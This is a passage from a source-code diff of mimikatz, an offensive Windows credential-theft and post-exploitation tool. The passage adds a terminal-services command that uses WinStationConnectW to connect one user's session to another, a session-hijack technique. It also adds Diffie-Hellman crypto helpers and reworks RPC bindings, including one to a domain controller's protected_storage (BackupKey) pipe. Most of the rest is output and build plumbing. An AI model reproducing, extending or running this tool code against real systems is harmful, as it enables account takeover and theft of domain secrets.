+		else target = WTS_CURRENT_SESSION;
+		
+		kprintf(L"Asking to connect from %u to ", id);
+		if(target == WTS_CURRENT_SESSION)
+			kprintf(L"current session");
+		else kprintf(L"%u", target);
+		
+		kprintf(L"\n\n> ");
+		if(WinStationConnectW(WTS_CURRENT_SERVER_HANDLE, id, target, L"", FALSE))
+			kprintf(L"Connected to %u\n", id);
+		else if(GetLastError() == ERROR_LOGON_FAILURE)
+			PRINT_ERROR(L"Bad password for this session (take care to not lock the account!)\n");
+		else PRINT_ERROR_AUTO(L"WinStationConnect");
+	}
+	else PRINT_ERROR(L"Argument id is needed\n");
+	return STATUS_SUCCESS;
 }
--- a/mimikatz/modules/kuhl_m_ts.h
+++ b/mimikatz/modules/kuhl_m_ts.h
@ -9,7 +9,12 @@
 #include "../modules/kull_m_service.h"
 #include "../modules/kull_m_process.h"
 #include "../modules/kull_m_memory.h"
+#include <WtsApi32.h>

 const KUHL_M kuhl_m_ts;

-NTSTATUS kuhl_m_ts_multirdp(int argc, wchar_t * argv[]);
+NTSTATUS kuhl_m_ts_multirdp(int argc, wchar_t * argv[]);
+NTSTATUS kuhl_m_ts_sessions(int argc, wchar_t * argv[]);
+NTSTATUS kuhl_m_ts_remote(int argc, wchar_t * argv[]);
+
+extern BOOLEAN WINAPI WinStationConnectW(IN HANDLE hServer, IN DWORD SessionId, IN DWORD TargetSessionID, IN LPWSTR Password, IN BOOLEAN bWait);
--- a/mimilib/mimilib.vcxproj
+++ b/mimilib/mimilib.vcxproj
@ -29,6 +29,7 @@
    <PlatformToolset Condition="'$(VCTargetsPath11)' != ''">v110_xp</PlatformToolset>
    <PlatformToolset Condition="'$(VCTargetsPath12)' != ''">v120_xp</PlatformToolset>
    <PlatformToolset Condition="'$(VCTargetsPath14)' != ''">v140_xp</PlatformToolset>
+    <PlatformToolset Condition="'$(VCTargetsPath15)' != ''">v141_xp</PlatformToolset>
    <UseOfMfc>static</UseOfMfc>
  </PropertyGroup>
  <PropertyGroup Label="Configuration" Condition="Exists('$(VCTargetsPath)\Platforms\$(Platform)\PlatformToolsets\ddk2003') Or Exists('$(VCTargetsPath)\..\Platforms\$(Platform)\PlatformToolsets\ddk2003')">
--- a/mimilove/mimilove.vcxproj
+++ b/mimilove/mimilove.vcxproj
@ -28,6 +28,7 @@
    <PlatformToolset Condition="'$(VCTargetsPath11)' != ''">v110_xp</PlatformToolset>
    <PlatformToolset Condition="'$(VCTargetsPath12)' != ''">v120_xp</PlatformToolset>
    <PlatformToolset Condition="'$(VCTargetsPath14)' != ''">v140_xp</PlatformToolset>
+    <PlatformToolset Condition="'$(VCTargetsPath15)' != ''">v141_xp</PlatformToolset>
    <UseOfMfc>static</UseOfMfc>
  </PropertyGroup>
  <PropertyGroup Label="Configuration" Condition="Exists('$(VCTargetsPath)\Platforms\$(Platform)\PlatformToolsets\ddk2003') Or Exists('$(VCTargetsPath)\..\Platforms\$(Platform)\PlatformToolsets\ddk2003')">
--- a/modules/kull_m_crypto.c
+++ b/modules/kull_m_crypto.c
@ -858,6 +858,16 @@ PCWCHAR kull_m_crypto_algid_to_name(ALG_ID algid)
 	return NULL;
 }

+ALG_ID kull_m_crypto_name_to_algid(PCWSTR name)
+{
+	DWORD i;
+	if(name)
+		for(i = 0; i < ARRAYSIZE(kull_m_crypto_calgid); i++)
+			if((_wcsicmp(name, kull_m_crypto_calgid[i].name) == 0) || (_wcsicmp(name, kull_m_crypto_calgid[i].name + 5) == 0))
+				return kull_m_crypto_calgid[i].id;
+	return 0;
+}
+
 PCWCHAR kull_m_crypto_cert_prop_id_to_name(const DWORD propId)
 {
 	DWORD i;
@ -881,4 +891,139 @@ PCWCHAR kull_m_crypto_cert_prop_id_to_name(const DWORD propId)
 			result = L"CERT_user_prop_id";
 	}
 	return result + 5;
+}
+
+const BYTE kull_m_crypto_dh_g_rgbPrime[] = {
+	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x81, 0x53, 0xe6, 0xec, 0x51, 0x66, 0x28, 0x49,
+	0xe6, 0x1f, 0x4b, 0x7c, 0x11, 0x24, 0x9f, 0xae, 0xa5, 0x9f, 0x89, 0x5a, 0xfb, 0x6b, 0x38, 0xee,
+	0xed, 0xb7, 0x06, 0xf4, 0xb6, 0x5c, 0xff, 0x0b, 0x6b, 0xed, 0x37, 0xa6, 0xe9, 0x42, 0x4c, 0xf4,
+	0xc6, 0x7e, 0x5e, 0x62, 0x76, 0xb5, 0x85, 0xe4, 0x45, 0xc2, 0x51, 0x6d, 0x6d, 0x35, 0xe1, 0x4f,
+	0x37, 0x14, 0x5f, 0xf2, 0x6d, 0x0a, 0x2b, 0x30, 0x1b, 0x43, 0x3a, 0xcd, 0xb3, 0x19, 0x95, 0xef,
+	0xdd, 0x04, 0x34, 0x8e, 0x79, 0x08, 0x4a, 0x51, 0x22, 0x9b, 0x13, 0x3b, 0xa6, 0xbe, 0x0b, 0x02,
+	0x74, 0xcc, 0x67, 0x8a, 0x08, 0x4e, 0x02, 0x29, 0xd1, 0x1c, 0xdc, 0x80, 0x8b, 0x62, 0xc6, 0xc4,
+	0x34, 0xc2, 0x68, 0x21, 0xa2, 0xda, 0x0f, 0xc9, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
+};
+
+const BYTE kull_m_crypto_dh_g_rgbGenerator[] = {
+	0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+};
+
+const CERT_X942_DH_PARAMETERS kull_m_crypto_dh_GlobParameters = {
+		{sizeof(kull_m_crypto_dh_g_rgbPrime), (PBYTE) kull_m_crypto_dh_g_rgbPrime},
+		{sizeof(kull_m_crypto_dh_g_rgbGenerator), (PBYTE) kull_m_crypto_dh_g_rgbGenerator},
+		{0, NULL},
+		{0, NULL},
+		NULL
+};
+
+PKIWI_DH kull_m_crypto_dh_Delete(PKIWI_DH dh)
+{
+	if(dh)
+	{
+		if(dh->publicKey.pbPublicKey)
+			LocalFree(dh->publicKey.pbPublicKey);
+		if(dh->hPrivateKey)
+			CryptDestroyKey(dh->hPrivateKey);
+		if(dh->hSessionKey)
+			CryptDestroyKey(dh->hSessionKey);
+		if(dh->hProvParty)
+			CryptReleaseContext(dh->hProvParty, 0);
+		dh = (PKIWI_DH) LocalFree(dh);
+	}
+	return dh;
+}
+
+PKIWI_DH kull_m_crypto_dh_Create(ALG_ID targetSessionKeyType)
+{
+	PKIWI_DH dh = NULL;
+	BOOL status = FALSE;
+
+	if(dh = (PKIWI_DH) LocalAlloc(LPTR, sizeof(KIWI_DH)))
+	{
+		dh->publicKey.sessionType = targetSessionKeyType;
+		if(CryptAcquireContext(&dh->hProvParty, NULL, MS_ENH_DSS_DH_PROV, PROV_DSS_DH, CRYPT_VERIFYCONTEXT))
+			if(CryptGenKey(dh->hProvParty, CALG_DH_EPHEM, (1024 << 16) | CRYPT_EXPORTABLE | CRYPT_PREGEN, &dh->hPrivateKey))
+				if(CryptSetKeyParam(dh->hPrivateKey, KP_P, (PBYTE) &kull_m_crypto_dh_GlobParameters.p, 0))
+					if(CryptSetKeyParam(dh->hPrivateKey, KP_G, (PBYTE) &kull_m_crypto_dh_GlobParameters.g, 0))
+						if(CryptSetKeyParam(dh->hPrivateKey, KP_X, NULL, 0))
+							if(CryptExportKey(dh->hPrivateKey, 0, PUBLICKEYBLOB, 0, NULL, &dh->publicKey.cbPublicKey))
+								if(dh->publicKey.pbPublicKey = (PBYTE) LocalAlloc(LPTR, dh->publicKey.cbPublicKey))
+									status = CryptExportKey(dh->hPrivateKey, 0, PUBLICKEYBLOB, 0, dh->publicKey.pbPublicKey, &dh->publicKey.cbPublicKey);
+		if(!status)
+			dh = (PKIWI_DH) kull_m_crypto_dh_Delete(dh);
+	}
+	return dh;
+}
+
+BOOL kull_m_crypto_dh_CreateSessionKey(PKIWI_DH dh, PMIMI_PUBLICKEY publicKey)
+{
+	BOOL status = FALSE;
+	dh->hSessionKey = 0;
+	if(dh && publicKey)
+	{
+		if(dh->publicKey.sessionType == publicKey->sessionType)
+		{
+			if(CryptImportKey(dh->hProvParty, publicKey->pbPublicKey, publicKey->cbPublicKey, dh->hPrivateKey, 0, &dh->hSessionKey))
+			{
+				if(!(status = CryptSetKeyParam(dh->hSessionKey, KP_ALGID, (PBYTE) &dh->publicKey.sessionType, 0)))
+				{
+					PRINT_ERROR_AUTO(L"CryptSetKeyParam");
+					CryptDestroyKey(dh->hSessionKey);
+					dh->hSessionKey = 0;
+				}
+			}
+			else PRINT_ERROR_AUTO(L"CryptImportKey");
+
+		}
+		else PRINT_ERROR(L"Alg mismatch: DH - %s (%08x) / P - %s (%08x)\n", kull_m_crypto_algid_to_name(dh->publicKey.sessionType), dh->publicKey.sessionType, kull_m_crypto_algid_to_name(publicKey->sessionType), publicKey->sessionType);
+	}
+	return status;
+}
+
+BOOL kull_m_crypto_dh_simpleEncrypt(HCRYPTKEY key, LPVOID data, DWORD dataLen, LPVOID *out, DWORD *outLen)
+{
+	BOOL status = FALSE;
+	HCRYPTKEY hTmp;
+	*out = NULL;
+	*outLen = dataLen;
+	if(CryptDuplicateKey(key, NULL, 0, &hTmp))
+	{
+		if(CryptEncrypt(hTmp, 0, TRUE, 0, NULL, outLen, 0))
+		{
+			if(*out = LocalAlloc(LPTR, *outLen))
+			{
+				RtlCopyMemory(*out, data, dataLen);
+				if(!(status = CryptEncrypt(hTmp, 0, TRUE, 0, (PBYTE) *out, &dataLen, *outLen)))
+					*out = LocalFree(*out);
+			}
+		}
+		CryptDestroyKey(hTmp);
+	}
+	return status;
+}
+
+BOOL kull_m_crypto_dh_simpleDecrypt(HCRYPTKEY key, LPVOID data, DWORD dataLen, LPVOID *out, DWORD *outLen)
+{
+	BOOL status = FALSE;
+	HCRYPTKEY hTmp;
+	*out = NULL;
+	*outLen = dataLen;
+	if(CryptDuplicateKey(key, NULL, 0, &hTmp))
+	{
+		if(*out = LocalAlloc(LPTR, dataLen))
+		{
+			RtlCopyMemory(*out, data, dataLen);
+			if(!(status = CryptDecrypt(hTmp, 0, TRUE, 0, (PBYTE) *out, outLen)))
+				*out = LocalFree(*out);
+		}
+		CryptDestroyKey(hTmp);
+	}
+	return status;
 }
--- a/modules/kull_m_crypto.h
+++ b/modules/kull_m_crypto.h
@ -99,4 +99,25 @@ PCWSTR kull_m_crypto_provider_type_to_name(const DWORD dwProvType);
 PCWCHAR kull_m_crypto_provider_to_realname(PCWSTR name);
 PCWCHAR kull_m_crypto_keytype_to_str(const DWORD keyType);
 PCWCHAR kull_m_crypto_algid_to_name(ALG_ID algid);
-PCWCHAR kull_m_crypto_cert_prop_id_to_name(const DWORD propId);
+ALG_ID kull_m_crypto_name_to_algid(PCWSTR name);
+PCWCHAR kull_m_crypto_cert_prop_id_to_name(const DWORD propId);
+
+typedef struct _MIMI_PUBLICKEY
+{
+	ALG_ID sessionType;
+	DWORD cbPublicKey;
+	BYTE *pbPublicKey;
+} MIMI_PUBLICKEY, *PMIMI_PUBLICKEY;
+
+typedef struct _KIWI_DH {
+	HCRYPTPROV hProvParty;
+	HCRYPTKEY hPrivateKey;
+	MIMI_PUBLICKEY publicKey;
+	HCRYPTKEY hSessionKey;
+} KIWI_DH, *PKIWI_DH;
+
+PKIWI_DH kull_m_crypto_dh_Delete(PKIWI_DH dh);
+PKIWI_DH kull_m_crypto_dh_Create(ALG_ID targetSessionKeyType);
+BOOL kull_m_crypto_dh_CreateSessionKey(PKIWI_DH dh, PMIMI_PUBLICKEY publicKey);
+BOOL kull_m_crypto_dh_simpleEncrypt(HCRYPTKEY key, LPVOID data, DWORD dataLen, LPVOID *out, DWORD *outLen);
+BOOL kull_m_crypto_dh_simpleDecrypt(HCRYPTKEY key, LPVOID data, DWORD dataLen, LPVOID *out, DWORD *outLen);
--- a/modules/kull_m_output.c
+++ b/modules/kull_m_output.c
@ -6,23 +6,17 @@
 #include "kull_m_output.h"

 FILE * logfile = NULL;
-#ifdef _WINDLL
 wchar_t * outputBuffer = NULL;
 size_t outputBufferElements = 0, outputBufferElementsPosition = 0;
-#endif

 void kprintf(PCWCHAR format, ...)
 {
-#ifdef _WINDLL
 	int varBuf;
 	size_t tempSize;
-#endif
+	wchar_t * tmpBuffer;
 	va_list args;
 	va_start(args, format);
-#ifndef _WINDLL
-	vwprintf(format, args);
-	fflush(stdout);
-#else
+
 	if(outputBuffer)
 	{
 		varBuf = _vscwprintf(format, args);
@ -31,19 +25,36 @@ void kprintf(PCWCHAR format, ...)
 			if((size_t) varBuf > (outputBufferElements - outputBufferElementsPosition - 1)) // NULL character
 			{
 				tempSize = (outputBufferElements + varBuf + 1) * 2; // * 2, just to be cool
-				if(outputBuffer = (wchar_t *) LocalReAlloc(outputBuffer, tempSize * sizeof(wchar_t), LMEM_MOVEABLE))
+				if(tmpBuffer = (wchar_t *) LocalAlloc(LPTR, tempSize * sizeof(wchar_t)))
+				{
+					RtlCopyMemory(tmpBuffer, outputBuffer, outputBufferElementsPosition * sizeof(wchar_t));
+					LocalFree(outputBuffer);
+					outputBuffer = tmpBuffer;
 					outputBufferElements = tempSize;
+				}
+				else wprintf(L"Erreur LocalAlloc: %u\n", GetLastError());
+				//if(outputBuffer = (wchar_t *) LocalReAlloc(outputBuffer, tempSize * sizeof(wchar_t), LPTR))
+				//	outputBufferElements = tempSize;
+				//else wprintf(L"Erreur ReAlloc: %u\n", GetLastError());
 			}
 			varBuf = vswprintf_s(outputBuffer + outputBufferElementsPosition, outputBufferElements - outputBufferElementsPosition, format, args);
 			if(varBuf > 0)
 				outputBufferElementsPosition += varBuf;
 		}
 	}
+#ifndef _WINDLL
+	else
+	{
+		vwprintf(format, args);
+		fflush(stdout);
+	}
 #endif
 	if(logfile)
+	{
 		vfwprintf(logfile, format, args);
+		fflush(logfile);
+	}
 	va_end(args);
-	fflush(logfile);
 }

 void kprintf_inputline(PCWCHAR format, ...)
@ -51,9 +62,11 @@ void kprintf_inputline(PCWCHAR format, ...)
 	va_list args;
 	va_start(args, format);
 	if(logfile)
+	{
 		vfwprintf(logfile, format, args);
+		fflush(logfile);
+	}
 	va_end(args);
-	fflush(logfile);
 }

 BOOL kull_m_output_file(PCWCHAR file)
@ -79,15 +92,19 @@ int previousStdOut, previousStdErr;
 UINT previousConsoleOutput;
 void kull_m_output_init()
 {
+#ifndef _WINDLL
 	previousStdOut = _setmode(_fileno(stdout), _O_U8TEXT);
 	previousStdErr = _setmode(_fileno(stderr), _O_U8TEXT);
 	previousConsoleOutput = GetConsoleOutputCP();
 	SetConsoleOutputCP(CP_UTF8);
+#endif
 }

 void kull_m_output_clean()
 {
+#ifndef _WINDLL
 	_setmode(_fileno(stdout), previousStdOut);
 	_setmode(_fileno(stderr), previousStdErr);
 	SetConsoleOutputCP(previousConsoleOutput);
-}
+#endif
+}
--- a/modules/kull_m_output.h
+++ b/modules/kull_m_output.h
@ -9,10 +9,10 @@
 #include <fcntl.h>

 FILE * logfile;
-#ifdef _WINDLL
+//#ifdef _WINDLL
 wchar_t * outputBuffer;
 size_t outputBufferElements, outputBufferElementsPosition;
-#endif
+//#endif

 void kprintf(PCWCHAR format, ...);
 void kprintf_inputline(PCWCHAR format, ...);
--- a/modules/kull_m_process.h
+++ b/modules/kull_m_process.h
@ -5,6 +5,7 @@
 */
 #pragma once
 #include "globals.h"
+#include <userenv.h>
 #include "kull_m_memory.h"
 #include "kull_m_string.h"

--- a/modules/rpc/kull_m_rpc.c
+++ b/modules/rpc/kull_m_rpc.c
@ -5,17 +5,41 @@
 */
 #include "kull_m_rpc.h"

-BOOL kull_m_rpc_createBinding(LPCWSTR ProtSeq, LPCWSTR NetworkAddr, LPCWSTR Endpoint, LPCWSTR Service, DWORD ImpersonationType, RPC_BINDING_HANDLE *hBinding, void (RPC_ENTRY * RpcSecurityCallback)(void *))
+LPCWSTR KULL_M_RPC_AUTHNLEV[7] = {L"DEFAULT", L"NONCE", L"CONNECT", L"CALL", L"PKT", L"PKT_INTEGRITY", L"PKT_PRIVACY",};
+LPCWSTR KULL_M_RPC_AUTHNSVC(DWORD AuthnSvc)
+{
+	LPCWSTR szAuthnSvc;
+	switch(AuthnSvc)
+	{
+	case RPC_C_AUTHN_NONE:
+		szAuthnSvc = L"NONE";
+		break;
+	case RPC_C_AUTHN_GSS_NEGOTIATE:
+		szAuthnSvc = L"GSS_NEGOTIATE";
+		break;
+	case RPC_C_AUTHN_WINNT:
+		szAuthnSvc = L"WINNT";
+		break;
+	case RPC_C_AUTHN_GSS_KERBEROS:
+		szAuthnSvc = L"GSS_KERBEROS";
+		break;
+	default:
+		szAuthnSvc = L"?";
+	}
+	return szAuthnSvc;
+}
+
+BOOL kull_m_rpc_createBinding(LPCWSTR uuid, LPCWSTR ProtSeq, LPCWSTR NetworkAddr, LPCWSTR Endpoint, LPCWSTR Service, BOOL addServiceToNetworkAddr, DWORD AuthnSvc, DWORD ImpersonationType, RPC_BINDING_HANDLE *hBinding, void (RPC_ENTRY * RpcSecurityCallback)(void *))
 {
 	BOOL status = FALSE;
 	RPC_STATUS rpcStatus;
 	RPC_WSTR StringBinding = NULL;
 	RPC_SECURITY_QOS SecurityQOS = {RPC_C_SECURITY_QOS_VERSION, RPC_C_QOS_CAPABILITIES_MUTUAL_AUTH, RPC_C_QOS_IDENTITY_STATIC, ImpersonationType};
-	LPWSTR fullServer;
-	DWORD szServer = (DWORD) (wcslen(NetworkAddr) * sizeof(wchar_t)), szPrefix = (DWORD) (wcslen(Service) * sizeof(wchar_t));
+	DWORD szServer, szPrefix;
+	LPWSTR fullServer = NULL;

 	*hBinding = NULL;
-	rpcStatus = RpcStringBindingCompose(NULL, (RPC_WSTR) ProtSeq, (RPC_WSTR) NetworkAddr, (RPC_WSTR) Endpoint, NULL, &StringBinding);
+	rpcStatus = RpcStringBindingCompose((RPC_WSTR) uuid, (RPC_WSTR) ProtSeq, (RPC_WSTR) NetworkAddr, (RPC_WSTR) Endpoint, NULL, &StringBinding);
 	if(rpcStatus == RPC_S_OK)
 	{
 		rpcStatus = RpcBindingFromStringBinding(StringBinding, hBinding);
@ -23,25 +47,49 @@ BOOL kull_m_rpc_createBinding(LPCWSTR ProtSeq, LPCWSTR NetworkAddr, LPCWSTR Endp
 		{
 			if(*hBinding)
 			{
-				if(fullServer = (LPWSTR) LocalAlloc(LPTR, szPrefix + sizeof(wchar_t) + szServer + sizeof(wchar_t)))
+				if(AuthnSvc != RPC_C_AUTHN_NONE)
 				{
-					RtlCopyMemory(fullServer, Service, szPrefix);
-					RtlCopyMemory((PBYTE) fullServer + szPrefix + sizeof(wchar_t), NetworkAddr, szServer);
-					((PBYTE) fullServer)[szPrefix] = L'/';
-					rpcStatus = RpcBindingSetAuthInfoEx(*hBinding, (RPC_WSTR) fullServer, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, (MIMIKATZ_NT_MAJOR_VERSION < 6) ? RPC_C_AUTHN_GSS_KERBEROS : RPC_C_AUTHN_GSS_NEGOTIATE, NULL, 0, &SecurityQOS);
-					if(rpcStatus == RPC_S_OK)
+					if(addServiceToNetworkAddr)
 					{
-						if(RpcSecurityCallback)
+						if(NetworkAddr && Service)
 						{
-							rpcStatus = RpcBindingSetOption(*hBinding, RPC_C_OPT_SECURITY_CALLBACK, (ULONG_PTR) RpcSecurityCallback);
-							status = (rpcStatus == RPC_S_OK);
-							if(!status)
-								PRINT_ERROR(L"RpcBindingSetOption: 0x%08x (%u)\n", rpcStatus, rpcStatus);
+							szServer = lstrlen(NetworkAddr) * sizeof(wchar_t);
+							szPrefix = lstrlen(Service) * sizeof(wchar_t);
+							if(fullServer = (LPWSTR) LocalAlloc(LPTR, szPrefix + sizeof(wchar_t) + szServer + sizeof(wchar_t)))
+							{
+								RtlCopyMemory(fullServer, Service, szPrefix);
+								RtlCopyMemory((PBYTE) fullServer + szPrefix + sizeof(wchar_t), NetworkAddr, szServer);
+								((PBYTE) fullServer)[szPrefix] = L'/';
+							}
 						}
-						else status = TRUE;
+						else PRINT_ERROR(L"Cannot add NetworkAddr & Service if NULL\n");
 					}
-					else PRINT_ERROR(L"RpcBindingSetAuthInfoEx: 0x%08x (%u)\n", rpcStatus, rpcStatus);
-					LocalFree(fullServer);
+
+					if(!addServiceToNetworkAddr || fullServer)
+					{
+						rpcStatus = RpcBindingSetAuthInfoEx(*hBinding, (RPC_WSTR) (fullServer ? fullServer : (Service ? Service : MIMIKATZ)), RPC_C_AUTHN_LEVEL_PKT_PRIVACY, AuthnSvc, NULL, 0, &SecurityQOS);
+						if(rpcStatus == RPC_S_OK)
+						{
+							if(RpcSecurityCallback)
+							{
+								rpcStatus = RpcBindingSetOption(*hBinding, RPC_C_OPT_SECURITY_CALLBACK, (ULONG_PTR) RpcSecurityCallback);
+								status = (rpcStatus == RPC_S_OK);
+								if(!status)
+									PRINT_ERROR(L"RpcBindingSetOption: 0x%08x (%u)\n", rpcStatus, rpcStatus);
+							}
+							else status = TRUE;
+						}
+						else PRINT_ERROR(L"RpcBindingSetAuthInfoEx: 0x%08x (%u)\n", rpcStatus, rpcStatus);
+					}
+				}
+				else status = TRUE;
+
+				if(!status)
+				{
+					rpcStatus = RpcBindingFree(hBinding);
+					if(rpcStatus == RPC_S_OK)
+						*hBinding = NULL;
+					else PRINT_ERROR(L"RpcBindingFree: 0x%08x (%u)\n", rpcStatus, rpcStatus);
 				}
 			}
 			else PRINT_ERROR(L"No Binding!\n");
@ -61,6 +109,86 @@ BOOL kull_m_rpc_deleteBinding(RPC_BINDING_HANDLE *hBinding)
 	return status;
 }

+RPC_STATUS CALLBACK kull_m_rpc_nice_SecurityCallback(RPC_IF_HANDLE hInterface, void *pBindingHandle)
+{
+    return RPC_S_OK;
+}
+
+RPC_STATUS CALLBACK kull_m_rpc_nice_verb_SecurityCallback(RPC_IF_HANDLE hInterface, void *pBindingHandle)
+{
+	RPC_STATUS status;
+	RPC_AUTHZ_HANDLE hAuthz;
+	RPC_WSTR ServerPrincName;
+	DWORD AuthnLevel, AuthnSvc, AuthzSvc;
+	LPCWSTR szAuthnLevel, szAuthnSvc;
+
+	kprintf(L"** Security Callback! **\n");
+	status = RpcBindingInqAuthClient(pBindingHandle, &hAuthz, &ServerPrincName, &AuthnLevel, &AuthnSvc, &AuthzSvc);
+	if(status == RPC_S_OK)
+	{
+		szAuthnLevel = (AuthnLevel < ARRAYSIZE(KULL_M_RPC_AUTHNLEV)) ? KULL_M_RPC_AUTHNLEV[AuthnLevel] : L"?";
+		szAuthnSvc = KULL_M_RPC_AUTHNSVC(AuthnSvc);
+		kprintf(L" > ServerPrincName: %s\n"
+				L" > AuthnLevel     : %2u - %s\n"
+				L" > AuthnSvc       : %2u - %s\n"
+				L" > AuthzSvc       : %2u\n", ServerPrincName, AuthnLevel, szAuthnLevel, AuthnSvc, szAuthnSvc, AuthzSvc);
+		RpcStringFree(&ServerPrincName);
+		RpcImpersonateClient(pBindingHandle);
+		RpcRevertToSelf();
+	}
+	else if(status == RPC_S_BINDING_HAS_NO_AUTH)
+		kprintf(L" > No Authentication\n");
+	else PRINT_ERROR(L"RpcBindingInqAuthClient: %08x\n", status);
+    return RPC_S_OK;
+}
+
+void kull_m_rpc_getArgs(int argc, wchar_t * argv[], LPCWSTR *szRemote, LPCWSTR *szProtSeq, LPCWSTR *szEndpoint, LPCWSTR *szService, DWORD *AuthnSvc, DWORD defAuthnSvc, BOOL printIt)
+{
+	if(szRemote)
+	{
+		kull_m_string_args_byName(argc, argv, L"remote", szRemote, NULL);
+		if(!*szRemote)
+			kull_m_string_args_byName(argc, argv, L"server", szRemote, NULL);
+		if(printIt)
+			kprintf(L"Remote   : %s\n", *szRemote);
+	}
+
+	if(szProtSeq)
+	{
+		kull_m_string_args_byName(argc, argv, L"protseq", szProtSeq, L"ncacn_ip_tcp");
+		if(printIt)
+			kprintf(L"ProtSeq  : %s\n", *szProtSeq);
+
+	}
+	
+	if(szEndpoint)
+	{
+		kull_m_string_args_byName(argc, argv, L"endpoint", szEndpoint, NULL);
+		if(printIt)
+			kprintf(L"Endpoint : %s\n", *szEndpoint);
+	}
+	
+	if(szService)
+	{
+		kull_m_string_args_byName(argc, argv, L"service", szService, NULL);
+		if(printIt)
+			kprintf(L"Service  : %s\n", *szService);
+	}
+	
+	if(AuthnSvc)
+	{
+		*AuthnSvc = defAuthnSvc;
+		if(kull_m_string_args_byName(argc, argv, L"noauth", NULL, NULL))
+			*AuthnSvc = RPC_C_AUTHN_NONE;
+		if(kull_m_string_args_byName(argc, argv, L"ntlm", NULL, NULL))
+			*AuthnSvc = RPC_C_AUTHN_WINNT;;
+		if(kull_m_string_args_byName(argc, argv, L"kerberos", NULL, NULL))
+			*AuthnSvc = RPC_C_AUTHN_GSS_KERBEROS;
+		if(printIt)
+			kprintf(L"AuthnSvc : %s\n", KULL_M_RPC_AUTHNSVC(*AuthnSvc));
+	}
+}
+
 void __RPC_FAR * __RPC_USER midl_user_allocate(size_t cBytes)
 {
 	return LocalAlloc(LPTR, cBytes);
--- a/modules/rpc/kull_m_rpc.h
+++ b/modules/rpc/kull_m_rpc.h
@ -18,12 +18,20 @@

 #include "midles.h"
 #include <string.h>
+#include "../kull_m_string.h"
+#include "../kull_m_crypto.h"

 typedef DWORD NET_API_STATUS;
 typedef UNICODE_STRING RPC_UNICODE_STRING;

-BOOL kull_m_rpc_createBinding(LPCWSTR ProtSeq, LPCWSTR NetworkAddr, LPCWSTR Endpoint, LPCWSTR Service, DWORD ImpersonationType, RPC_BINDING_HANDLE *hBinding, void (RPC_ENTRY * RpcSecurityCallback)(void *));
+LPCWSTR KULL_M_RPC_AUTHNLEV[7];
+LPCWSTR KULL_M_RPC_AUTHNSVC(DWORD AuthnSvc);
+
+BOOL kull_m_rpc_createBinding(LPCWSTR uuid, LPCWSTR ProtSeq, LPCWSTR NetworkAddr, LPCWSTR Endpoint, LPCWSTR Service, BOOL addServiceToNetworkAddr, DWORD AuthnSvc, DWORD ImpersonationType, RPC_BINDING_HANDLE *hBinding, void (RPC_ENTRY * RpcSecurityCallback)(void *));
 BOOL kull_m_rpc_deleteBinding(RPC_BINDING_HANDLE *hBinding);
+RPC_STATUS CALLBACK kull_m_rpc_nice_SecurityCallback(RPC_IF_HANDLE hInterface, void* pBindingHandle);
+RPC_STATUS CALLBACK kull_m_rpc_nice_verb_SecurityCallback(RPC_IF_HANDLE hInterface, void* pBindingHandle);
+void kull_m_rpc_getArgs(int argc, wchar_t * argv[], LPCWSTR *szRemote, LPCWSTR *szProtSeq, LPCWSTR *szEndpoint, LPCWSTR *szService, DWORD *AuthnSvc, DWORD defAuthnSvc, BOOL printIt);

 typedef struct _KULL_M_RPC_FCNSTRUCT {
 	PVOID addr;
--- a/modules/rpc/kull_m_rpc_bkrp.c
+++ b/modules/rpc/kull_m_rpc_bkrp.c
@ -13,7 +13,7 @@ BOOL kull_m_rpc_bkrp_createBinding(LPCWSTR NetworkAddr, RPC_BINDING_HANDLE *hBin
 		if(kull_m_net_getDC(NULL, DS_WRITABLE_REQUIRED, &szTmpDc))
 			NetworkAddr = szTmpDc;
 	if(NetworkAddr)
-		status = kull_m_rpc_createBinding(L"ncacn_np", NetworkAddr, L"\\pipe\\protected_storage", L"ProtectedStorage", RPC_C_IMP_LEVEL_IMPERSONATE, hBinding, NULL);
+		status = kull_m_rpc_createBinding(NULL, L"ncacn_np", NetworkAddr, L"\\pipe\\protected_storage", L"ProtectedStorage", TRUE, (MIMIKATZ_NT_MAJOR_VERSION < 6) ? RPC_C_AUTHN_GSS_KERBEROS : RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_IMP_LEVEL_IMPERSONATE, hBinding, NULL);
 	if(szTmpDc)
 		LocalFree(szTmpDc);
 	return status;
--- a/modules/rpc/kull_m_rpc_dpapi-entries.c
+++ b/modules/rpc/kull_m_rpc_dpapi-entries.c
@ -1,13 +1,5 @@
 #include "kull_m_rpc_dpapi-entries.h"

-#if _MSC_VER >= 1200
-#pragma warning(push)
-#endif
-
-#pragma warning(disable: 4211)  /* redefine extern to static */
-#pragma warning(disable: 4232)  /* dllimport identity*/
-#pragma warning(disable: 4024)  /* array to pointer mapping*/
-
 #ifdef _M_X64
 #define _dpapi2Dentries_MIDL_TYPE_FORMAT_STRING_SIZE	219
 #define _dpapi2Dentries_MIDL_TYPE_FORMAT_OFFSET			188
@ -17,8 +9,8 @@
 #endif

 typedef struct _dpapi2Dentries_MIDL_TYPE_FORMAT_STRING {
-	short          Pad;
